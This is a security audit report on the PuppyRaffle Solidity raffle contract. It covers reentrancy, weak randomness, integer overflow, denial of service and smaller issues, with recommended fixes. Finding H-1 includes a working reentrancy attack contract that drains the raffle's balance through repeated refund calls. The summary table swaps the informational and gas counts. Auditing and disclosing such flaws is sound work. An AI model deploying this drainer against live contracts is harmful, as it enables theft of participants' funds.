Table of Contents

- Table of Contents
- Protocol Summary
- Disclaimer
- Risk Classification
- Audit Details
  - Scope
  - Roles
- Executive Summary
  - Issues found
- Findings
  - High
    - [H-1] `PuppyRaffle::refund` is susceptible to reentrancy attacks
    - [H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner
    - [H-3] Integer overflow of `PuppyRaffle::totalFees` looses fees
  - Medium
    - [M-1] Looping through players array to check for duplicate addresses in `PuppyRaffle::enterRaffle` is susceptible to denial of service attacks
    - [M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals
    - [M-3] Smart contract wallets raffle winners which are not capable of receiving ETH will block the start of a new raffle
  - Low
    - [L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for both non-existent players and for players at index 0, thereby refusing to acknowledge player at index 0.
  - Gas
    - [G-1] Unchanged state variables should be marked as constant or immutable
    - [G-2] Storage variables in a loop should be cached
  - Informational
    - [I-1] Solidity pragma should be specific, not wide
    - [I-2] Using an outdated version of solidity is not recommended.
    - [I-3] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice
    - [I-4] Use of *magic* numbers if discouraged
    - [I-5] State changes are missing events
    - [I-6] `PuppyRaffle::_isActivePlayer` is defined in the contract but not used anywhere

Protocol Summary

This PuppyRaffle contract allows users to enter a raffle to win a cute dog NFT. The protocol should do the following:

1. Call the `enterRaffle` function with the following parameters:
    1. `address[] participants`: A list of addresses that enter. You can use this to enter yourself multiple times, or yourself and a group of your friends.
2. Duplicate addresses are not allowed
3. Users are allowed to get a refund of their ticket & `value` if they call the `refund` function
4. Every X seconds, the raffle will be able to draw a winner and be minted a random puppy
5. The owner of the protocol will set a feeAddress to take a cut of the `value`, and the rest of the funds will be sent to the winner of the puppy.

Disclaimer

The author/security researcher makes all effort to find as many vulnerabilities in the code in the given time period, but holds no responsibilities for the findings provided in this document. A security audit is not an endorsement of the underlying business or product. The audit was time-boxed and the review of the code was solely on the security aspects of the Solidity implementation of the contracts.

Risk Classification

		Impact		
		High	Medium	Low
	High	H	H/M	M
Likelihood	Medium	H/M	M	M/L
	Low	M	M/L	L

We use the CodeHawks severity matrix to determine severity. See the documentation for more details.

Audit Details

- Commit Hash: 2a47715b30cf11ca82db148704e67652ad679cd8

Scope

```
./src/
└── PuppyRaffle.sol
```

Roles

- Owner - Deployer of the protocol, has the power to change the wallet address to which fees are sent through the `changeFeeAddress` function.
- Player - Participant of the raffle, has the power to enter the raffle with the `enterRaffle` function and refund value through `refund` function.

Executive Summary

--

Issues found

Severity	Count
High	3
Medium	3
Low	1
Informational	2
Gas	6
Total	15

Findings

High

[H-1] `PuppyRaffle::refund` is susceptible to reentrancy attacks

Description The `PuppyRaffle::refund` does not follow CEI pattern and as a result, enables participants to drain the contract balance.

In the `PuppyRaffle::refund` function, we first make an external call to the `msg.sender` address before we update `PuppyRaffle::players` array. This allows a participant calling the `PuppyRaffle::refund` function to continously reenter into the contract to claim another refund using a `fallback` or `receive` function until the contract balance is drained.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already refunded, or is not active");

@>       payable(msg.sender).sendValue(entranceFee);
@>       players[playerIndex] = address(0);

        emit RaffleRefunded(playerAddress);
    }
```

Impact All fees paid by raffle entrants could be stolen by a malicious participant.

Proof of Concept

1. User enters a raffle
2. attacker sets up a contract with a `fallback` function that calls `PuppyRaffle::refund`
3. Attacker enters the raffle
4. Attacker calls `PuppyRaffle::refund` from their attack contract, draining the contract balance.

▶ Proof of Code

Place the following into the `PuppyRaffleTest.t.sol`

```
    function testReentrancyInRefund() public {
        address[] memory players = new address[](4);
        players[0] = playerOne;
        players[1] = playerTwo;
        players[2] = playerThree;
```

```
        players[3] = playerFour;
        puppyRaffle.enterRaffle{value: entranceFee * 4}(players);

        ReentrancyContract attackerContract = new
ReentrancyContract(puppyRaffle);
        address attackUser = makeAddr("attackUser");
        vm.deal(attackUser, 1 ether);

        uint256 startingAttackerContractBalance =
address(attackerContract).balance;
        uint256 startingContractBalance = address(puppyRaffle).balance;

        // attack
        vm.prank(attackUser);
        attackerContract.attack{value: entranceFee}();

        uint256 endingAttackerContractBalance =
address(attackerContract).balance;
        uint256 endingContractBalance = address(puppyRaffle).balance;

        console.log("starting attacker contract balance: ",
startingAttackerContractBalance);
        console.log("starting contract balance: ",
startingContractBalance);
        console.log("ending attacker contract balance: ",
endingAttackerContractBalance);
        console.log("ending contract balance: ", endingContractBalance);
    }
```

and this contract as well

```
    contract ReentrancyContract {
        PuppyRaffle puppyRaffle;
        uint256 entranceFee;
        uint256 attackerIndex;

        constructor(PuppyRaffle _puppyRaffle) {
            puppyRaffle = _puppyRaffle;
            entranceFee = _puppyRaffle.entranceFee();
        }

        function attack() external payable {
            address[] memory players = new address[](1);
            players[0] = address(this);
            puppyRaffle.enterRaffle{value: entranceFee}(players);

            attackerIndex =
puppyRaffle.getActivePlayerIndex(address(this));
            puppyRaffle.refund(attackerIndex);
        }

        function _stealMoney() internal {
```

```
            if (address(puppyRaffle).balance >= entranceFee) {
                puppyRaffle.refund(attackerIndex);
            }
        }

        receive() external payable {
            _stealMoney();
        }

        fallback() external payable {
            _stealMoney();
        }
    }
```

Recommended Mitigation To prevent this, we should have the `PuppyRaffle::refund` function update the `players` array before making the external call. Additionally, we should move the event emission upwards as well.

```
    function refund(uint256 playerIndex) public {
        address playerAddress = players[playerIndex];
        require(playerAddress == msg.sender, "PuppyRaffle: Only the player
can refund");
        require(playerAddress != address(0), "PuppyRaffle: Player already
refunded, or is not active");
+       players[playerIndex] = address(0);
+       emit RaffleRefunded(playerAddress);
        payable(msg.sender).sendValue(entranceFee);
-        players[playerIndex] = address(0);
-        emit RaffleRefunded(playerAddress);
    }
```

[H-2] Weak Randomness in `PuppyRaffle::selectWinner` allows users to influence or predict the winner

Description Hashing `msg.sender`, `block.timestamp` and `block.prevrando` together creates a predictable final number. A predictable number is not a good random number. Malicious users can manipulate these values or know them ahead of time to coose the winner of the raffle themselves.

Note: This additionally means users could front-run this function and call `refund` if they see they are not the winner.

Impact Any user can influence the winner of the raffle, winning the money and selecting the `rarest` puppy.

Proof of Concept

1. Validators can know ahead of time the `block.timestamp` and `block.difficulty` and use that to prdeict when and how to participate

2. Users can mine/manipulate their `msg.sender` value to result in their addres being used to generate the winner
3. Users can revert their `selectWinner` trasaction if they don't like the winner or the winning puppy

Using on-chain values as a source of randomness is a well documented attack vector

Recommended Mitigation Consider using a cryptographically provable random number enerator such as Chainlink VRF

[H-3] Integer overflow of `PuppyRaffle::totalFees` looses fees

Description In solidity versions prior to `0.8.0`, integers were subject to integer overflows.

```
    uint64 myVar = type(uint64).max;
    // 18446744073709551615
    myVar += 1;
    // myVar will be 0
```

Impact In `PuppyRaffle::selectWinner`, `totalFees` are accumulated for the `feeAddress` to collect later in `PuppyRaffle::withdrawFees`. However, if the `totalFees` overflows, the `feeAddress` may not collect the correct amount of fees leaving fees permanently stuck in the contract

Proof of Concept

1. We conclude a raffle of 4 players
2. We then have 89 players enter a new raffle, and conclude the raffle
3. `totalFees` will be

```
    totalFees = totalFees + uint64(fees);
    // i.e
    totalFees = 800000000000000000 + 17800000000000000000;
    // due to overflow, the following is now the case
    totalFees = 153255926290448384;
```

4. you will not be able to withdraw, due to the check in `PuppyRaffle::withdrawFees`

```
    require(address(this).balance == uint256(totalFees), "PuppyRaffle:
 There are currently players active!");
```

Although, you could use `selfdestruct` to send ETH to this contract in other for the values to match and withdraw the fees but this is clearly not the intended functionality of the protocol.

▶ Code

```
    function testTotalFeesOverflow() public playersEntered {
        // We finish a raffle of 4 to collect some fees
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);
        puppyRaffle.selectWinner();
        uint256 startingTotalFees = puppyRaffle.totalFees();
        // startingTotalFees = 800000000000000000

        // We then have 89 players enter a new raffle
        uint256 playersNum = 89;
        address[] memory players = new address[](playersNum);
        for (uint256 i = 0; i < playersNum; i++) {
            players[i] = address(i);
        }
        puppyRaffle.enterRaffle{value: entranceFee * playersNum}(players);
        // We end the raffle
        vm.warp(block.timestamp + duration + 1);
        vm.roll(block.number + 1);

        // And here is where the issue occurs
        // We will now have fewer fees even though we just finished a
second raffle
        puppyRaffle.selectWinner();

        uint256 endingTotalFees = puppyRaffle.totalFees();
        console.log("ending total fees", endingTotalFees);
        assert(endingTotalFees < startingTotalFees);

        // We are also unable to withdraw any fees because of the require
check
        vm.prank(puppyRaffle.feeAddress());
        vm.expectRevert("PuppyRaffle: There are currently players
active!");
        puppyRaffle.withdrawFees();
    }
```

Recommended Mitigation There are a few possible mitigations

1. Use a newer version of solidity, and a `uint256` instead of `uint64` for `PuppyRaffle::totalFees`
2. You could also use the `SafeMath` library from openZeppelin for version 0.7.6 of solidity, however you would still have a hard time with the `uint64` type if too many fees are collected.
3. Remove the balance check from `PuppyRaffle::withdrawFees`

```diff
-   require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
```

Medium

[M-1] Looping through players array to check for duplicate addresses in `PuppyRaffle::enterRaffle` is susceptible to denial of service attacks

Description The `PuppyRaffle::enterRaffle` loops through the players array to check for duplicates. However, the longer the players array is, the more checks that would need to conducted when a new user tries to enter the raffle. This means that the gas costs for players entering the raffle later on would be exponentially higher.

Impact The gas costs for raffle entrants will greatly increase as more players enter the raffle discouraging later users from entering the raffle.

An attacker might make `PuppyRaffle::entrants` array so big, that noone else can enter at an acceptable gas cost, thereby increasing their chance of winning.

Proof of Concept

If we have 2 sets of 100 players, gas cost will be as such:

- ~6252128
- ~18067830

Gas cost is about 3 times higher for the second set.

▶ POC

```
    function test_DenialOfServiceOnEnterRaffle() public {
        uint256 playersNum = 100;
        address[] memory players = new address[](playersNum);
        for (uint256 i=0; i < playersNum; i++) {
            players[i] = address(i);
        }

        // gas cost
        uint256 gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);
        uint256 gasEnd = gasleft();

        uint256 gasUsedFirst = gasStart - gasEnd;
        console.log("gas cost of first 100 players: ", gasUsedFirst);


        for (uint256 i=0; i < playersNum; i++) {
            players[i] = address(playersNum + i);
        }

        // gas cost
        gasStart = gasleft();
        puppyRaffle.enterRaffle{value: entranceFee * players.length}
(players);
        gasEnd = gasleft();
```

```
        uint256 gasUsedSecond = gasStart - gasEnd;
        console.log("gas cost of second 100 players: ", gasUsedSecond);

        assert(gasUsedFirst < gasUsedSecond);
    }
```

Recommended Mitigation There are a few recommendations

1. Consider allowing duplicates. Users can make new wallet address anyways, so checking for duplicates does really stop a user from entering a raffle multiple times
2. Consider using a mapping to check for duplicates. This would allow for a constant time lookup of existing addresses

```
+   mapping(address player => bool playing) isPlayer;
    .
    .
    .
    function enterRaffle(address[] memory newPlayers) public payable {
        require(msg.value == entranceFee * newPlayers.length, "PuppyRaffle: Must send enough to enter raffle");
        for (uint256 i = 0; i < newPlayers.length; i++) {
+           require(!isPlayer(newPlayers[i]), "PuppyRaffle: Duplicate player");
+           isPlayer[newPlayers[i]] = true;
            players.push(newPlayers[i]);
        }

        // Check for duplicates
-        for (uint256 i = 0; i < players.length - 1; i++) {
-            for (uint256 j = i + 1; j < players.length; j++) {
-                require(players[i] != players[j], "PuppyRaffle: Duplicate player");
-            }
-       }
        emit RaffleEnter(newPlayers);
    }
```

[M-2] Balance check on `PuppyRaffle::withdrawFees` enables griefers to selfdestruct a contract to send ETH to the raffle, blocking withdrawals

Description: The `PuppyRaffle::withdrawFees` function checks the `totalFees` equals the ETH balance of the contract (`address(this).balance`). Since this contract doesn't have a `payable` fallback or `receive` function, you'd think this wouldn't be possible, but a user could `selfdesctruct` a contract with ETH in it and force funds to the `PuppyRaffle` contract, breaking this check.

```
```

```
    function withdrawFees() external {
@>      require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

Impact: This would prevent the `feeAddress` from withdrawing fees. A malicious user could see a `withdrawFee` transaction in the mempool, front-run it, and block the withdrawal by sending fees.

Proof of Concept:

1. `PuppyRaffle` has 800 wei in it's balance, and 800 totalFees.
2. Malicious user sends 1 wei via a `selfdestruct`
3. `feeAddress` is no longer able to withdraw funds

Recommended Mitigation: Remove the balance check on the `PuppyRaffle::withdrawFees` function.

```diff
    function withdrawFees() external {
-       require(address(this).balance == uint256(totalFees), "PuppyRaffle:
There are currently players active!");
        uint256 feesToWithdraw = totalFees;
        totalFees = 0;
        (bool success,) = feeAddress.call{value: feesToWithdraw}("");
        require(success, "PuppyRaffle: Failed to withdraw fees");
    }
```

[M-3] Smart contract wallets raffle winners which are not capable of receiving ETH will block the start of a new raffle

Description The `PuppyRaffle::selectWinner` function is responsible for resetting the lottery. However, if the winner is a smart contract wallet and rejects payment, the lottery would not be able to restart.

Users could easily call `selectWinner` function again and non-wallet entrants could win, but it could cost a lot due to the duplicate check and a lottery reset could get very challenging.

Impact The `PuppyRaffle::selectWinner` function could revert many times, makinga lottery reset difficult.

Also, true winners would not get paid out and someone else could take their money!

Proof of Concept

1. 10 smart contracts wallets enter the lottery without a fallback or receive function.
2. The lottery ends
3. The `selectWinner` function wouldn't work, even though the lottery is over

Recommended Mitigation There are a few options to mitigate this issue.

1. Do not allow smart contract wallet entrants (not recommended).
2. Create a mapping of addresses -> payout so winner can pull their funds out themselves, putting the responsibility on the winner to claim their prize (recommended)

Low

[L-1] `PuppyRaffle::getActivePlayerIndex` returns 0 for both non-existent players and for players at index 0, thereby refusing to acknowledge player at index 0.

Description If a player is in the `PuppyRaffle::players` array at index 0, this will return 0 but according to the natspec, 0 means the address supplied is not a player.

```
    function getActivePlayerIndex(address player) external view returns
(uint256) {
        for (uint256 i = 0; i < players.length; i++) {
            if (players[i] == player) {
                return i;
            }
        }
        return 0;
    }
```

Impact The `PuppyRaffle::getActivePlayerIndex` will never acknowledge a player at index 0 as being in the `PuppyRaffle::players` array.

Proof of Concept

1. User enters the raffle as the first entrant
2. `PuppyRaffle::getActivePlayerIndex` returns 0
3. User thinks they have not entered correctly

Recommended Mitigation The easiest recommendation would be to revert if the player is not in the array instead of returning 0

Gas

[G-1] Unchanged state variables should be marked as constant or immutable

Reading from storage is much more expensive than reading from a constant variable

Instances:

- `PuppyRaffle::commonImageUri` should be constant

- `PuppyRaffle::rareImageUri` should be constant
- `PuppyRaffle::legendaryImageUri` should be constant
- `PuppyRaffle::raffleDuration` should be immutable

[G-2] Storage variables in a loop should be cached

Repeated reading of the same variable in a loop blows up the gas cost. Such variables should be cached and reused.

```
+    uint256 length = player.length;
+    for (uint256 i = 0; i < length - 1; i++) {
-    for (uint256 i = 0; i < players.length - 1; i++) {
+       for (uint256 j = i + 1; j < length; j++) {
-       for (uint256 j = i + 1; j < players.length; j++) {
            require(players[i] != players[j], "PuppyRaffle: Duplicate
player");
        }
    }
```

Informational

[I-1] Solidity pragma should be specific, not wide

Consider using a specific version of solidity in your contracts instead of a floating version. For example, instead of `pragma solidity ^0.7.8;`, use `pragma solidity 0.8.0;`

[I-2] Using an outdated version of solidity is not recommended.

Deploy with a stable version of solidity like `0.8.18`.

for more on this, check solc-version

[I-3] `PuppyRaffle::selectWinner` does not follow CEI, which is not a best practice

It is best to keep code clean and follow CEI pattern.

```
-    (bool success,) = winner.call{value: prizePool}("");
-    require(success, "PuppyRaffle: Failed to send prize pool to winner");
    _safeMint(winner, tokenId);
+    (bool success,) = winner.call{value: prizePool}("");
+    require(success, "PuppyRaffle: Failed to send prize pool to winner");
```

[I-4] Use of *magic* numbers if discouraged

It can be confusing to see number literals in a codebase, and it's much more readable if the numbers a given a descriptive name.

Examples:

```
    uint256 prizePool = (totalAmountCollected * 80) / 100;
    uint256 fee = (totalAmountCollected * 20) / 100;
```

Instead, you could use:

```
uint256 constant PRIZE_POOL_PERCENTAGE = 80;
uint256 constant FEE_PERCENTAGE = 20;
uint256 constant POOL_PRECISION = 100;
```

[I-5] State changes are missing events

It is recommended to emit events every time there is a state change

[I-6] `PuppyRaffle::_isActivePlayer` is defined in the contract but not used anywhere

`PuppyRaffle::_isActivePlayer` should either be removed or marked as external. Unused functions causes clutter and raises deployment gas cost.